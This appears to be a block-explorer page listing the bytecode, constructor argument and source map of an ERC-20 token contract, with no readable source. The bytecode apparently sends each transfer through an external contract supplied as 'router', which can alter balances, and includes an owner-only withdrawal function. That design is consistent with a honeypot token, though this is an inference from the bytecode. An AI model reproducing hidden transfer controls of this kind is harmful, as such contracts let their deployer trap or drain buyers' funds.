a0565b60405180910390fd5b61117b82600083611497565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990612332565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b691906119b8565b60405180910390a36112ca8360008461154e565b505050565b6112d7610a73565b73ffffffffffffffffffffffffffffffffffffffff166112f56105b4565b73ffffffffffffffffffffffffffffffffffffffff161461134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113429061239e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6114928363a9059cbb60e01b84846040516024016114309291906123be565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611553565b505050565b505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c36515d8686866040518463ffffffff1660e01b81526004016114fe939291906123e7565b6020604051808303816000875af115801561151d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611541919061244a565b9050809150509392505050565b505050565b60006115b5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661161b9092919063ffffffff16565b90506000815114806115d75750808060200190518101906115d6919061244a565b5b611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160d906124e9565b60405180910390fd5b505050565b606061162a8484600085611633565b90509392505050565b606082471015611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f9061257b565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516116a191906125e2565b60006040518083038185875af1925050503d80600081146116de576040519150601f19603f3d011682016040523d82523d6000602084013e6116e3565b606091505b50915091506116f487838387611700565b92505050949350505050565b6060831561176257600083510361175a5761171a85611775565b611759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175090612645565b60405180910390fd5b5b82905061176d565b61176c8383611798565b5b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6000825111156117ab5781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df9190611878565b60405180910390fd5b600081519050919050565b600082825260208201905092915050565b60005b83811015611822578082015181840152602081019050611807565b60008484015250505050565b6000601f19601f8301169050919050565b600061184a826117e8565b61185481856117f3565b9350611864818560208601611804565b61186d8161182e565b840191505092915050565b60006020820190508181036000830152611892818461183f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118ca8261189f565b9050919050565b6118da816118bf565b81146118e557600080fd5b50565b6000813590506118f7816118d1565b92915050565b6000819050919050565b611910816118fd565b811461191b57600080fd5b50565b60008135905061192d81611907565b92915050565b6000806040838503121561194a5761194961189a565b5b6000611958858286016118e8565b92505060206119698582860161191e565b9150509250929050565b60008115159050919050565b61198881611973565b82525050565b60006020820190506119a3600083018461197f565b92915050565b6119b2816118fd565b82525050565b60006020820190506119cd60008301846119a9565b92915050565b6000806000606084860312156119ec576119eb61189a565b5b60006119fa868287016118e8565b9350506020611a0b868287016118e8565b9250506040611a1c8682870161191e565b9150509250925092565b600060ff82169050919050565b611a3c81611a26565b82525050565b6000602082019050611a576000830184611a33565b92915050565b600060208284031215611a7357611a7261189a565b5b6000611a818482850161191e565b91505092915050565b600060208284031215611aa057611a9f61189a565b5b6000611aae848285016118e8565b91505092915050565b611ac0816118bf565b82525050565b6000602082019050611adb6000830184611ab7565b92915050565b6000819050919050565b6000611b06611b01611afc8461189f565b611ae1565b61189f565b9050919050565b6000611b1882611aeb565b9050919050565b6000611b2a82611b0d565b9050919050565b611b3a81611b1f565b82525050565b6000602082019050611b556000830184611b31565b92915050565b60008060408385031215611b7257611b7161189a565b5b6000611b80858286016118e8565b9250506020611b91858286016118e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611be257607f821691505b602082108103611bf557611bf4611b9b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c35826118fd565b9150611c40836118fd565b9250828201905080821115611c5857611c57611bfb565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cba6025836117f3565b9150611cc582611c5e565b604082019050919050565b60006020820190508181036000830152611ce981611cad565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000611d266017836117f3565b9150611d3182611cf0565b602082019050919050565b60006020820190508181036000830152611d5581611d19565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611db86026836117f3565b9150611dc382611d5c565b604082019050919050565b60006020820190508181036000830152611de781611dab565b9050919050565b600081519050611dfd81611907565b92915050565b600060208284031215611e1957611e1861189a565b5b6000611e2784828501611dee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e8c6024836117f3565b9150611e9782611e30565b604082019050919050565b60006020820190508181036000830152611ebb81611e7f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f1e6022836117f3565b9150611f2982611ec2565b604082019050919050565b60006020820190508181036000830152611f4d81611f11565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611f8a601d836117f3565b9150611f9582611f54565b602082019050919050565b60006020820190508181036000830152611fb981611f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061201c6025836117f3565b915061202782611fc0565b604082019050919050565b6000602082019050818103600083015261204b8161200f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120ae6023836117f3565b91506120b982612052565b604082019050919050565b600060208201905081810360008301526120dd816120a1565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006121406026836117f3565b915061214b826120e4565b604082019050919050565b6000602082019050818103600083015261216f81612133565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006121f86049836117f3565b915061220382612176565b606082019050919050565b60006020820190508181036000830152612227816121eb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061228a6021836117f3565b91506122958261222e565b604082019050919050565b600060208201905081810360008301526122b98161227d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061231c6022836117f3565b9150612327826122c0565b604082019050919050565b6000602082019050818103600083015261234b8161230f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123886020836117f3565b915061239382612352565b602082019050919050565b600060208201905081810360008301526123b78161237b565b9050919050565b60006040820190506123d36000830185611ab7565b6123e060208301846119a9565b9392505050565b60006060820190506123fc6000830186611ab7565b6124096020830185611ab7565b61241660408301846119a9565b949350505050565b61242781611973565b811461243257600080fd5b50565b6000815190506124448161241e565b92915050565b6000602082840312156124605761245f61189a565b5b600061246e84828501612435565b91505092915050565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b60006124d3602a836117f3565b91506124de82612477565b604082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b60006125656026836117f3565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b600081519050919050565b600081905092915050565b60006125bc8261259b565b6125c681856125a6565b93506125d6818560208601611804565b80840191505092915050565b60006125ee82846125b1565b915081905092915050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b600061262f601d836117f3565b915061263a826125f9565b602082019050919050565b6000602082019050818103600083015261265e81612622565b905091905056fea2646970667358221220b4e89892bca0e3a72ba8fbd76bda4920c0fc8e5dc7454630f05bc60f2b1720ee64736f6c634300081300330000000000000000000000008ecc343ab76586bcd8df28ce0c1cbd0469b6a739
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063c876d0b91161007c578063c876d0b914610354578063c9567bf914610372578063dd62ed3e1461037c578063e164f60c146103ac578063f2fde38b146103ca578063f9d0831a146103e657610137565b80638da5cb5b1461029a57806395d89b41146102b8578063a457c2d7146102d6578063a9059cbb14610306578063c349f8e21461033657610137565b806339509351116100ff57806339509351146101f657806342966c681461022657806350bd46b61461024257806370a0823114610260578063715018a61461029057610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a8578063313ce567146101d8575b600080fd5b610144610402565b6040516101519190611878565b60405180910390f35b610174600480360381019061016f9190611933565b610494565b604051610181919061198e565b60405180910390f35b6101926104b7565b60405161019f91906119b8565b60405180910390f35b6101c260048036038101906101bd91906119d3565b6104c1565b6040516101cf919061198e565b60405180910390f35b6101e06104f0565b6040516101ed9190611a42565b60405180910390f35b610210600480360381019061020b9190611933565b6104f9565b60405161021d919061198e565b60405180910390f35b610240600480360381019061023b9190611a5d565b610530565b005b61024a610544565b604051610257919061198e565b60405180910390f35b61027a60048036038101906102759190611a8a565b610557565b60405161028791906119b8565b60405180910390f35b6102986105a0565b005b6102a26105b4565b6040516102af9190611ac6565b60405180910390f35b6102c06105dd565b6040516102cd9190611878565b60405180910390f35b6102f060048036038101906102eb9190611933565b61066f565b6040516102fd919061198e565b60405180910390f35b610320600480360381019061031b9190611933565b6106e6565b60405161032d919061198e565b60405180910390f35b61033e610709565b60405161034b9190611b40565b60405180910390f35b61035c61072f565b604051610369919061198e565b60405180910390f35b61037a610742565b005b61039660048036038101906103919190611b5b565b61080c565b6040516103a391906119b8565b60405180910390f35b6103b4610893565b6040516103c1919061198e565b60405180910390f35b6103e460048036038101906103df9190611a8a565b6108a6565b005b61040060048036038101906103fb9190611a8a565b610929565b005b60606004805461041190611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461043d90611bca565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b60008061049f610a73565b90506104ac818585610a7b565b600191505092915050565b6000600354905090565b6000806104cc610a73565b90506104d9858285610c44565b6104e4858585610cd0565b60019150509392505050565b60006009905090565b600080610504610a73565b9050610525818585610516858961080c565b6105209190611c2a565b610a7b565b600191505092915050565b61054161053b610a73565b82611100565b50565b600b60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105a86112cf565b6105b2600061134d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105ec90611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461061890611bca565b80156106655780601f1061063a57610100808354040283529160200191610665565b820191906000526020600020905b81548152906001019060200180831161064857829003601f168201915b5050505050905090565b60008061067a610a73565b90506000610688828661080c565b9050838110156106cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c490611cd0565b60405180910390fd5b6106da8286868403610a7b565b60019250505092915050565b6000806106f1610a73565b90506106fe818585610cd0565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900460ff1681565b61074a6112cf565b600860149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190611d3c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660149054906101000a900460ff1681565b6108ae6112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361091d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091490611dce565b60405180910390fd5b6109268161134d565b50565b6109316112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109b85761096d610a73565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156109b2573d6000803e3d6000fd5b50610a70565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109f89190611ac6565b602060405180830381865afa158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e03565b9050610a6d610a46610a73565b828473ffffffffffffffffffffffffffffffffffffffff166114119092919063ffffffff16565b50505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae190611ea2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090611f34565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c3791906119b8565b60405180910390a3505050565b6000610c50848461080c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cca5781811015610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390611fa0565b60405180910390fd5b610cc98484848403610a7b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906120c4565b60405180910390fd5b610db9838383611497565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790612156565b60405180910390fd5b600b60009054906101000a900460ff1615610fd157600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f015750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610fcc5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e9061220e565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ff7565b6000600590506000610fe486868661149c565b90508015610ff457600a54820391505b50505b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e791906119b8565b60405180910390a36110fa84848461154e565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611166906122a0565b60405180910390fd5b61117b82600083611497565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990612332565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b691906119b8565b60405180910390a36112ca8360008461154e565b505050565b6112d7610a73565b73ffffffffffffffffffffffffffffffffffffffff166112f56105b4565b73ffffffffffffffffffffffffffffffffffffffff161461134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113429061239e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6114928363a9059cbb60e01b84846040516024016114309291906123be565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611553565b505050565b505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c36515d8686866040518463ffffffff1660e01b81526004016114fe939291906123e7565b6020604051808303816000875af115801561151d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611541919061244a565b9050809150509392505050565b505050565b60006115b5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661161b9092919063ffffffff16565b90506000815114806115d75750808060200190518101906115d6919061244a565b5b611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160d906124e9565b60405180910390fd5b505050565b606061162a8484600085611633565b90509392505050565b606082471015611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f9061257b565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516116a191906125e2565b60006040518083038185875af1925050503d80600081146116de576040519150601f19603f3d011682016040523d82523d6000602084013e6116e3565b606091505b50915091506116f487838387611700565b92505050949350505050565b6060831561176257600083510361175a5761171a85611775565b611759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175090612645565b60405180910390fd5b5b82905061176d565b61176c8383611798565b5b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6000825111156117ab5781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117df9190611878565b60405180910390fd5b600081519050919050565b600082825260208201905092915050565b60005b83811015611822578082015181840152602081019050611807565b60008484015250505050565b6000601f19601f8301169050919050565b600061184a826117e8565b61185481856117f3565b9350611864818560208601611804565b61186d8161182e565b840191505092915050565b60006020820190508181036000830152611892818461183f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118ca8261189f565b9050919050565b6118da816118bf565b81146118e557600080fd5b50565b6000813590506118f7816118d1565b92915050565b6000819050919050565b611910816118fd565b811461191b57600080fd5b50565b60008135905061192d81611907565b92915050565b6000806040838503121561194a5761194961189a565b5b6000611958858286016118e8565b92505060206119698582860161191e565b9150509250929050565b60008115159050919050565b61198881611973565b82525050565b60006020820190506119a3600083018461197f565b92915050565b6119b2816118fd565b82525050565b60006020820190506119cd60008301846119a9565b92915050565b6000806000606084860312156119ec576119eb61189a565b5b60006119fa868287016118e8565b9350506020611a0b868287016118e8565b9250506040611a1c8682870161191e565b9150509250925092565b600060ff82169050919050565b611a3c81611a26565b82525050565b6000602082019050611a576000830184611a33565b92915050565b600060208284031215611a7357611a7261189a565b5b6000611a818482850161191e565b91505092915050565b600060208284031215611aa057611a9f61189a565b5b6000611aae848285016118e8565b91505092915050565b611ac0816118bf565b82525050565b6000602082019050611adb6000830184611ab7565b92915050565b6000819050919050565b6000611b06611b01611afc8461189f565b611ae1565b61189f565b9050919050565b6000611b1882611aeb565b9050919050565b6000611b2a82611b0d565b9050919050565b611b3a81611b1f565b82525050565b6000602082019050611b556000830184611b31565b92915050565b60008060408385031215611b7257611b7161189a565b5b6000611b80858286016118e8565b9250506020611b91858286016118e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611be257607f821691505b602082108103611bf557611bf4611b9b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c35826118fd565b9150611c40836118fd565b9250828201905080821115611c5857611c57611bfb565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cba6025836117f3565b9150611cc582611c5e565b604082019050919050565b60006020820190508181036000830152611ce981611cad565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000611d266017836117f3565b9150611d3182611cf0565b602082019050919050565b60006020820190508181036000830152611d5581611d19565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611db86026836117f3565b9150611dc382611d5c565b604082019050919050565b60006020820190508181036000830152611de781611dab565b9050919050565b600081519050611dfd81611907565b92915050565b600060208284031215611e1957611e1861189a565b5b6000611e2784828501611dee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e8c6024836117f3565b9150611e9782611e30565b604082019050919050565b60006020820190508181036000830152611ebb81611e7f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f1e6022836117f3565b9150611f2982611ec2565b604082019050919050565b60006020820190508181036000830152611f4d81611f11565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611f8a601d836117f3565b9150611f9582611f54565b602082019050919050565b60006020820190508181036000830152611fb981611f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061201c6025836117f3565b915061202782611fc0565b604082019050919050565b6000602082019050818103600083015261204b8161200f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120ae6023836117f3565b91506120b982612052565b604082019050919050565b600060208201905081810360008301526120dd816120a1565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006121406026836117f3565b915061214b826120e4565b604082019050919050565b6000602082019050818103600083015261216f81612133565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006121f86049836117f3565b915061220382612176565b606082019050919050565b60006020820190508181036000830152612227816121eb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061228a6021836117f3565b91506122958261222e565b604082019050919050565b600060208201905081810360008301526122b98161227d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061231c6022836117f3565b9150612327826122c0565b604082019050919050565b6000602082019050818103600083015261234b8161230f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123886020836117f3565b915061239382612352565b602082019050919050565b600060208201905081810360008301526123b78161237b565b9050919050565b60006040820190506123d36000830185611ab7565b6123e060208301846119a9565b9392505050565b60006060820190506123fc6000830186611ab7565b6124096020830185611ab7565b61241660408301846119a9565b949350505050565b61242781611973565b811461243257600080fd5b50565b6000815190506124448161241e565b92915050565b6000602082840312156124605761245f61189a565b5b600061246e84828501612435565b91505092915050565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b60006124d3602a836117f3565b91506124de82612477565b604082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b60006125656026836117f3565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b600081519050919050565b600081905092915050565b60006125bc8261259b565b6125c681856125a6565b93506125d6818560208601611804565b80840191505092915050565b60006125ee82846125b1565b915081905092915050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b600061262f601d836117f3565b915061263a826125f9565b602082019050919050565b6000602082019050818103600083015261265e81612622565b905091905056fea2646970667358221220b4e89892bca0e3a72ba8fbd76bda4920c0fc8e5dc7454630f05bc60f2b1720ee64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000008ecc343ab76586bcd8df28ce0c1cbd0469b6a739
-----Decoded View---------------
Arg [0] : router (address): 0x8ecC343ab76586bCD8DF28ce0C1cbd0469B6A739
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000008ecc343ab76586bcd8df28ce0c1cbd0469b6a739
Deployed Bytecode Sourcemap
23275:1005:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16073:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16854:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15957:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17088:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15857:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17566:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23568:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15610:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16293:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22603:103;;;:::i;:::-;;22368:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16181:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17837:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16444:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15318:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15563:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24046:226;;;:::i;:::-;;16670:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15348:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22714:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23667:371;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16073:100;16127:13;16160:5;16153:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16073:100;:::o;16854:226::-;16962:4;16979:13;16995:12;:10;:12::i;:::-;16979:28;;17018:32;17027:5;17034:7;17043:6;17018:8;:32::i;:::-;17068:4;17061:11;;;16854:226;;;;:::o;15957:108::-;16018:7;16045:12;;16038:19;;15957:108;:::o;17088:295::-;17219:4;17236:15;17254:12;